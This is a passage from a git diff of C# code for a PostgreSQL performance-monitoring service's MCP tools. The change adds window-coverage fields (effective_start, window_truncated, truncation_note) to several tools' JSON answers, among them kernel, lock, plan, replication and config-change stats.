-                        postgres, resolved.ServerId, resolved.ServerName, "pg_kernel_stats", cancellationToken)
-                    ?? McpHelpers.Status(
+                        postgres, resolved.ServerId, resolved.ServerName, "pg_kernel_stats", cancellationToken);
+                if (bare is not null)
+                {
+                    return bare;
+                }
+
+                /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+                   Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+                   no probe; a failed probe costs the notice, never the rows. */
+                var emptyStart = windowEnd.AddHours(-hours_back);
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_kernel_stats", resolved.ServerName, emptyStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+
+                return McpHelpers.Status(
                         "empty",
                         $"No per-query OS resource usage for {resolved.ServerName} in the last "
                         + $"{hours_back} hour(s). These are per-interval deltas, so a single collection "
-                        + "has nothing to difference against and the window fills on the second one.");
+                        + "has nothing to difference against and the window fills on the second one.",
+                        emptyNotice.AsHints());
             }
 
-            return BuildKernelStatsJson(resolved.ServerName, hours_back, page, limit);
+            /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+               Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+               no probe; a failed probe costs the notice, never the rows. */
+            var windowStart = windowEnd.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_kernel_stats", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+            return BuildKernelStatsJson(resolved.ServerName, hours_back, page, limit, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -105,7 +126,8 @@ internal static string BuildKernelStatsJson(
         string serverName,
         int hoursBack,
         DarlingPgKernelStatsReader.PgKernelStatsPage page,
-        int limit)
+        int limit,
+        McpWindowNotice? notice = null)
     {
         var truncated = page.Rows.Count > limit;
         var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows;
@@ -141,10 +163,13 @@ the display layer is where rounding disagreements start. */
         })
         .ToList();
 
-        return JsonSerializer.Serialize(new
+        var json = JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            effective_start = notice?.EffectiveStart,
+            window_truncated = notice?.WindowTruncated,
+            truncation_note = notice?.TruncationNote,
             /* #3541 A3 dialect: the page described as a page. No time bounds — each row is one series
                differenced across the whole window, so there is no page reach to report, only a cap. */
             queries_returned = queries.Count,
@@ -168,5 +193,6 @@ the display layer is where rounding disagreements start. */
                      : string.Empty),
             queries,
         }, McpHelpers.JsonOptions);
+        return notice is null || notice.Value.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs
index 44da243c2f..5afb83595f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Collectors;
@@ -36,6 +37,7 @@ public static async Task<string> GetPgLogEvents(
         [Description("Lowest severity to return, by seriousness: LOG, INFO, NOTICE, WARNING, ERROR, FATAL, PANIC. Default LOG (everything). See the tool's reading guide.")] string? min_severity = null,
         [Description("Maximum events to return. Default 50. The page is truncated when the window holds more; total_events is the window's count.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -73,10 +75,11 @@ public static async Task<string> GetPgLogEvents(
 
         try
         {
+            var windowStart = windowEnd.AddHours(-hours_back);
             /* limit + 1 so truncation is OBSERVED from the extra row rather than inferred from the count reaching
                the cap (#3594). */
             var page = await DarlingPgLogEventReader.GetEventsAsync(
-                postgres, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd,
+                postgres, resolved.ServerId, windowStart, windowEnd,
                 familyFilter, minRank, limit + 1, cancellationToken);
 
             if (page.Rows.Count == 0)
@@ -91,6 +94,7 @@ the cap (#3594). */
                     postgres, resolved.ServerId, resolved.ServerName, "pg_log_events", cancellationToken)
                     ?? await DarlingRuntimePrecondition.StatusAsync(
                         postgres, resolved.ServerId, resolved.ServerName, "pg_log_events", cancellationToken)
+                    /* #4966: not_collected and the precondition stay bare; a quiet answer carries the window keys under hints. */
                     ?? McpHelpers.Status(
                         "no_events",
                         $"No log event{(familyFilter is null ? string.Empty : $" in family '{familyFilter}'")}"
@@ -108,16 +112,29 @@ the cap (#3594). */
                         + "FEHLER: line matches nothing - the readiness read's message_locale facet). "
                         + "pg_stat_database's counters in get_pg_database_stats are the independent check "
                         + "for the error and temp_file families: if they moved and nothing is here, the log "
-                        + "is the problem rather than the server.");
+                        + "is the problem rather than the server.",
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, "pg_log_events", resolved.ServerName, windowStart, windowEnd, cancellationToken),
+                            null, windowStart, windowEnd, "pg_log_events", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
             }
 
             var truncated = page.Rows.Count > limit;
             var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows.ToList();
 
-            return JsonSerializer.Serialize(new
+            /* #4966: the notice is always COVERAGE, whether or not the cap cut the page (the cap is reported by truncated). A sparse event
+               list windowed on the event's own time: the floor is the earlier of the coverage probe (the schedule's retention edge and the
+               server's first collection, never an oldest row) and the oldest event shown (a first run stores events from before itself). */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "pg_log_events", resolved.ServerName, windowStart, windowEnd, cancellationToken),
+                rows.Min(r => r.OccurredAtUtc), windowStart, windowEnd, "pg_log_events", logger: logger, cancellationToken: cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 family = familyFilter,
                 min_severity = severityLabel,
                 status = "events",
@@ -171,6 +188,9 @@ the cap (#3594). */
                         : null,
                 }),
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPlanTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPlanTools.cs
index 6dcdabc132..b4f3cfe271 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPlanTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPlanTools.cs
@@ -14,6 +14,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -56,6 +57,7 @@ public static async Task<string> GetPgPlans(
         [Description("Maximum plan shapes to return. Default 10. See the tool's reading guide.")] int limit = 10,
         [Description("Only return plans for this queryid, as a string. Optional. See the tool's reading guide.")] string? query_id = null,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -102,10 +104,12 @@ read as "this server's plans" whether the window held ten or ten thousand. */
             if (rows.Count == 0)
             {
                 return await NoPlansStatusAsync(
-                    postgres, resolved.ServerId, resolved.ServerName, wantedQueryId, hours_back, cancellationToken);
+                    postgres, resolved.ServerId, resolved.ServerName, wantedQueryId, hours_back, start, now, logger, cancellationToken);
             }
 
-            return BuildPlansJson(resolved.ServerName, hours_back, rows, limit);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_plans", resolved.ServerName, start, now, emptyAnswer: false, logger, cancellationToken);
+            return BuildPlansJson(resolved.ServerName, hours_back, rows, limit, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -280,7 +284,7 @@ to avoid. The unsatisfied facets are NAMED instead. */
     /// </summary>
     private static async Task<string> NoPlansStatusAsync(
         NpgsqlDataSource postgres, int serverId, string serverName, long? wantedQueryId, int hoursBack,
-        CancellationToken cancellationToken = default)
+        DateTime start, DateTime end, ILogger? logger, CancellationToken cancellationToken = default)
     {
         var gated = await DarlingEngineCapability.NotCollectedStatusAsync(
             postgres, serverId, serverName, "pg_plan_capture", cancellationToken);
@@ -312,7 +316,10 @@ private static async Task<string> NoPlansStatusAsync(
                 + "satisfied or not, in the order they have to be fixed in.");
         }
 
-        return McpHelpers.Status("empty", NoPlanCapturedMessage(wantedQueryId, hoursBack));
+        /* #4966: only the empty answer carries the window floor; not_collected and precondition above stay bare. */
+        var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_plans", serverName, start, end, emptyAnswer: true, logger, cancellationToken);
+        return McpHelpers.Status("empty", NoPlanCapturedMessage(wantedQueryId, hoursBack), notice.AsHints());
     }
 
     /// <summary>
@@ -401,8 +408,10 @@ internal static string BuildPlansJson(
         string serverName,
         int hoursBack,
         IReadOnlyList<DarlingPgPlanCaptureReader.PgPlanCaptureRow> fetched,
-        int limit)
+        int limit,
+        McpWindowNotice? windowNotice = null)
     {
+        var notice = windowNotice ?? McpWindowNotice.Unavailable;
         var (rows, truncated) = McpHelpers.BoundPage(fetched, limit);
 
         var result = rows.Select(r => new
@@ -427,10 +436,14 @@ string so a consumer can walk the tree without a second parse. */
             plan = ParsePlan(r.PlanJson),
         }).ToList();
 
-        return JsonSerializer.Serialize(new
+        return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            /* #4966: the window floor, right after hours_back. */
+            effective_start = notice.EffectiveStart,
+            window_truncated = notice.WindowTruncated,
+            truncation_note = notice.TruncationNote,
             plan_shapes = result.Count,
             /* Observed off the limit + 1 fetch, never inferred from a full page (#3653): true means the window
                held at least one more plan shape, ranked below these by total duration, than this page shows. */
@@ -445,7 +458,7 @@ string so a consumer can walk the tree without a second parse. */
                        + "statement's plans wherever they rank."
                      : string.Empty),
             plans = result,
-        }, McpHelpers.JsonOptions);
+        }, McpHelpers.JsonOptions), notice);
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPredicateTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPredicateTools.cs
index 3f6891d42e..131027e2b8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPredicateTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPredicateTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -48,6 +49,7 @@ public static async Task<string> GetPgPredicateStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return. Default 25.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -65,18 +67,38 @@ public static async Task<string> GetPgPredicateStats(
 
             if (rows.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
+                var bare = await DarlingEngineCapability.NotCollectedStatusAsync(
                     postgres, resolved.ServerId, resolved.ServerName, "pg_predicate_stats", cancellationToken)
                     ?? await DarlingRuntimePrecondition.StatusAsync(
-                        postgres, resolved.ServerId, resolved.ServerName, "pg_predicate_stats", cancellationToken)
-                    ?? McpHelpers.Status(
+                        postgres, resolved.ServerId, resolved.ServerName, "pg_predicate_stats", cancellationToken);
+                if (bare is not null)
+                {
+                    return bare;
+                }
+
+                /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+                   Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+                   no probe; a failed probe costs the notice, never the rows. */
+                var emptyStart = windowEnd.AddHours(-hours_back);
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_predicate_stats", resolved.ServerName, emptyStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+
+                return McpHelpers.Status(
                         "empty",
                         $"No predicate statistics for {resolved.ServerName} in the last {hours_back} "
                         + "hour(s). pg_qualstats SAMPLES executions — at the default 1% rate a low-traffic "
                         + "database can genuinely record nothing — and it needs shared_preload_libraries "
-                        + "plus a restart to be active at all.");
+                        + "plus a restart to be active at all.",
+                        emptyNotice.AsHints());
             }
 
+            /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+               Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+               no probe; a failed probe costs the notice, never the rows. */
+            var windowStart = windowEnd.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_predicate_stats", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+
             /* One rate for the server in the ordinary case; distinct() rather than First() because a rate
                changed mid-window would otherwise be reported as whichever row sorted first. */
             var rates = rows.Select(r => r.SampleRate).Distinct().OrderBy(r => r).ToArray();
@@ -100,10 +122,13 @@ beside it are only interpretable against the rate that produced them. */
                 sample_rate = r.SampleRate,
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 predicate_count = rows.Count,
                 sample_rates = rates,
                 note = "Counts are SAMPLED and are not scaled up here: multiply by 1/sample_rate to "
@@ -116,6 +141,7 @@ beside it are only interpretable against the rate that produced them. */
                          : string.Empty),
                 predicates,
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgReplicationStatsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgReplicationStatsTools.cs
index 695d405628..f2022e5172 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgReplicationStatsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgReplicationStatsTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -47,6 +48,7 @@ public static async Task<string> GetPgReplicationStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return. Default 25.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -59,22 +61,39 @@ public static async Task<string> GetPgReplicationStats(
 
         try
         {
+            var windowStart = windowEnd.AddHours(-hours_back);
             var rows = await DarlingPgReplicationStatsReader.GetPgReplicationStatsAsync(
-                postgres, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd, limit, cancellationToken);
+                postgres, resolved.ServerId, windowStart, windowEnd, limit, cancellationToken);
 
             if (rows.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
-                    postgres, resolved.ServerId, resolved.ServerName, "pg_replication_stats", cancellationToken)
-                    ?? McpHelpers.Status(
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(
+                    postgres, resolved.ServerId, resolved.ServerName, "pg_replication_stats", cancellationToken);
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
+
+                /* #4966: the empty answer carries the window floor under hints. */
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_replication_stats", resolved.ServerName, windowStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+                return DarlingMcpWindowNotice.FinishEmpty(McpHelpers.Status(
                         "empty",
-                        $"No replica was connected to {resolved.ServerName} in the last {hours_back} "
-                        + "hour(s). On a server with no replicas that is the expected answer. If a "
-                        + "replica is SUPPOSED to be attached, check get_pg_replication_slots — a slot "
-                        + "that persists with nothing connected to it retains WAL indefinitely, which is "
-                        + "the case worth acting on.");
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            factual: $"No replica was connected to {resolved.ServerName} in the last {hours_back} "
+                                + "hour(s)",
+                            coveredClaim: ". On a server with no replicas that is the expected answer.",
+                            tail: " If a "
+                                + "replica is SUPPOSED to be attached, check get_pg_replication_slots — a slot "
+                                + "that persists with nothing connected to it retains WAL indefinitely, which is "
+                                + "the case worth acting on."),
+                        emptyNotice.AsHints()), emptyNotice);
             }
 
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_replication_stats", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+
             var replicas = rows.Select(r => new
             {
                 application_name = r.ApplicationName,
@@ -94,17 +113,21 @@ same number means two different things depending on this column. */
                 last_seen = r.LastSeen,
             });
 
-            return JsonSerializer.Serialize(new
+            return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, right after hours_back. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 replica_count = rows.Count,
                 note = "Read the worst_* columns, not just the latest: lag is spiky and a sample catches "
                      + "one instant. `samples` against `total_samples` says how much of the window each "
                      + "replica was actually connected for — a replica present in only a few captures "
                      + "reconnected repeatedly, which the latest lag figure alone would hide.",
                 replicas,
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions), notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs
index b3e4d35ab5..c8e48b07cb 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs
@@ -14,6 +14,7 @@
 using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Collectors;
@@ -30,6 +31,9 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 [McpServerToolType]
 public sealed class DarlingMcpPgServerStateTools
 {
+    /// <summary>The collector table get_pg_write_stats reads, named in its window notice (#4966).</summary>
+    private const string WriteStatsTable = "pg_write_stats";
+
     /// <summary>
     /// The major that removed <c>buffers_backend</c> and <c>buffers_backend_fsync</c> from
     /// <c>pg_stat_bgwriter</c> (#2653). They moved nowhere in that view - the fact lives in
@@ -395,6 +399,7 @@ public static async Task<string> GetPgLockStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return. Default 25.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -415,16 +420,39 @@ public static async Task<string> GetPgLockStats(
 
             if (fetched.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
-                    postgres, resolved.ServerId, resolved.ServerName, "pg_lock_stats", cancellationToken)
-                    ?? McpHelpers.Status(
+                var bare = await DarlingEngineCapability.NotCollectedStatusAsync(
+                    postgres, resolved.ServerId, resolved.ServerName, "pg_lock_stats", cancellationToken);
+                if (bare is not null)
+                {
+                    return bare;
+                }
+
+                /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+                   Rows are windowed on the probe's time column over [start, now]. A data answer over 90 minutes or less starts no probe;
+                   a failed probe costs the notice, never the rows. */
+                var emptyStart = windowEnd.AddHours(-hours_back);
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_lock_stats", resolved.ServerName, emptyStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+
+                return McpHelpers.Status(
                         "empty",
-                        $"No lock activity sampled on {resolved.ServerName} in the last {hours_back} "
-                        + "hour(s). This is a SAMPLE of pg_locks rather than an event log, so this is the "
-                        + "healthy state on a server without sustained contention — and it is not proof "
-                        + "that nothing was ever locked.");
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            factual: $"No lock activity sampled on {resolved.ServerName} in the last {hours_back} "
+                                + "hour(s). This is a SAMPLE of pg_locks rather than an event log",
+                            coveredClaim: ", so this is the "
+                                + "healthy state on a server without sustained contention — and it is not proof "
+                                + "that nothing was ever locked."),
+                        emptyNotice.AsHints());
             }
 
+            /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+               Rows are windowed on the probe's time column over [start, now]. A data answer over 90 minutes or less starts no probe;
+               a failed probe costs the notice, never the rows. */
+            var windowStart = windowEnd.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_lock_stats", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+
             var truncated = fetched.Count > limit;
             var rows = truncated ? fetched.Take(limit).ToList() : fetched;
             var ungranted = rows.Count(r => !r.Granted);
@@ -445,10 +473,13 @@ of presence rather than an unanchored count. */
                 last_seen = r.LastSeen,
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 lock_count = rows.Count,
                 truncated,
                 /* Counted over the returned rows, and reported only when they are all of them. */
@@ -463,6 +494,7 @@ of presence rather than an unanchored count. */
                      + "ones; for who is blocking whom, use get_pg_blocking.",
                 locks,
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -476,6 +508,7 @@ public static async Task<string> GetPgWriteStats(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -486,8 +519,9 @@ public static async Task<string> GetPgWriteStats(
 
         try
         {
+            var requestedStart = windowEnd.AddHours(-hours_back);
             var row = await DarlingPgWriteStatsReader.GetPgWriteStatsAsync(
-                postgres, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd, cancellationToken);
+                postgres, resolved.ServerId, requestedStart, windowEnd, cancellationToken);
 
             if (row is null)
             {
@@ -498,9 +532,20 @@ public static async Task<string> GetPgWriteStats(
                         $"No checkpoint or WAL activity recorded for {resolved.ServerName} in the last "
                         + $"{hours_back} hour(s). These are differenced across snapshots, so a single "
                         + "collection has nothing to difference against and the window fills on the "
-                        + "second one.");
+                        + "second one.",
+                        /* #4966: the window keys ride on an empty answer under hints, from the coverage probe; not_collected (above) stays bare. */
+                        (await DarlingMcpWindowNotice.ReadAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, WriteStatsTable, resolved.ServerName, requestedStart, windowEnd, cancellationToken),
+                            requestedStart, windowEnd, WriteStatsTable, emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
             }
 
+            /* #4966: ONE row whose every figure is a first-to-last difference, so the span it covers IS the row's own first sample
+               (window_start) to its last. The keys are derived from that span, with no coverage probe: a first sample more than the
+               slack after the asked start reads as a cut window, as the desktop viewer's banner reads it. The keys can also mean a gap in
+               collection across the window's start, not only a short history. */
+            var notice = DarlingMcpWindowNotice.Build(
+                row.WindowStartUtc, requestedStart, WriteStatsTable, "The figures cover only effective_start to window_end.");
+
             var timed = row.CheckpointsTimed ?? 0;
             var requested = row.CheckpointsRequested ?? 0;
 
@@ -526,6 +571,9 @@ Two reads would let one axis be answered from this server's row and the other fr
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 window_start = row.WindowStartUtc,
                 window_end = row.WindowEndUtc,
                 checkpoints_timed = row.CheckpointsTimed,
@@ -804,6 +852,7 @@ public static async Task<string> GetPgServerConfigChanges(
         [Description("Hours of history to analyze. Default 168 (one week).")] int hours_back = 168,
         [Description("Maximum changes to return. Default 100.")] int limit = 100,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -824,18 +873,42 @@ public static async Task<string> GetPgServerConfigChanges(
 
             if (fetched.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
-                    postgres, resolved.ServerId, resolved.ServerName, "pg_server_config", cancellationToken)
-                    ?? McpHelpers.Status(
+                var bare = await DarlingEngineCapability.NotCollectedStatusAsync(
+                    postgres, resolved.ServerId, resolved.ServerName, "pg_server_config", cancellationToken);
+                if (bare is not null)
+                {
+                    return bare;
+                }
+
+                /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+                   Rows are windowed on the probe's time column over [start, now]. A data answer over 90 minutes or less starts no probe;
+                   a failed probe costs the notice, never the rows. */
+                var emptyStart = windowEnd.AddHours(-hours_back);
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_server_config_changes", resolved.ServerName, emptyStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+
+                return McpHelpers.Status(
                         "no_changes",
-                        $"No configuration parameter changed value on {resolved.ServerName} in the last "
-                        + $"{hours_back} hour(s). That is a real finding rather than missing data - this "
-                        + "read compares consecutive snapshots, so an unchanged server produces no rows.");
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            factual: $"No configuration parameter changed value on {resolved.ServerName} in the last "
+                                + $"{hours_back} hour(s)",
+                            coveredClaim: ". That is a real finding rather than missing data - this "
+                                + "read compares consecutive snapshots, so an unchanged server produces no rows."),
+                        emptyNotice.AsHints());
             }
 
             var truncated = fetched.Count > limit;
             var rows = truncated ? fetched.Take(limit).ToList() : fetched;
 
+            /* #4966: the window floor, always COVERAGE. Coverage is the web's source for this read (WebDataStartNote): a snapshot in the
+               window proves the store held the server from that snapshot on, and one before the window is not counted. Changes are
+               snapshot diffs stamped at the snapshot's collection_time, not backfilled events, so the plain coverage rule applies
+               whether or not the row cap cut the page. The cap is reported by truncated, never by the notice. */
+            var windowStart = windowEnd.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_server_config_changes", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+
             /* #3937: the rows are typed `object` so one list can carry two shapes. A server-wide row is the SAME
                anonymous shape it always was, and System.Text.Json serializes an object-typed element by its
                runtime type, so its bytes do not move. An override row is built as a JsonObject because
@@ -850,6 +923,9 @@ public static async Task<string> GetPgServerConfigChanges(
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 status = "config_changes",
                 change_count = rows.Count,
                 truncated,
@@ -876,7 +952,8 @@ public static async Task<string> GetPgServerConfigChanges(
                to what this tool returned before #3937. */
             if (rows.All(r => r.DatabaseName is null && r.RoleName is null))
             {
-                return JsonSerializer.Serialize(page, McpHelpers.JsonOptions);
+                var plain = JsonSerializer.Serialize(page, McpHelpers.JsonOptions);
+                return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(plain) : plain;
             }
 
             var node = JsonSerializer.SerializeToNode(page, McpHelpers.JsonOptions)?.AsObject()
@@ -889,7 +966,8 @@ to what this tool returned before #3937. */
                 + "began reading overrides is not reported as set: nobody set it then, the collector started "
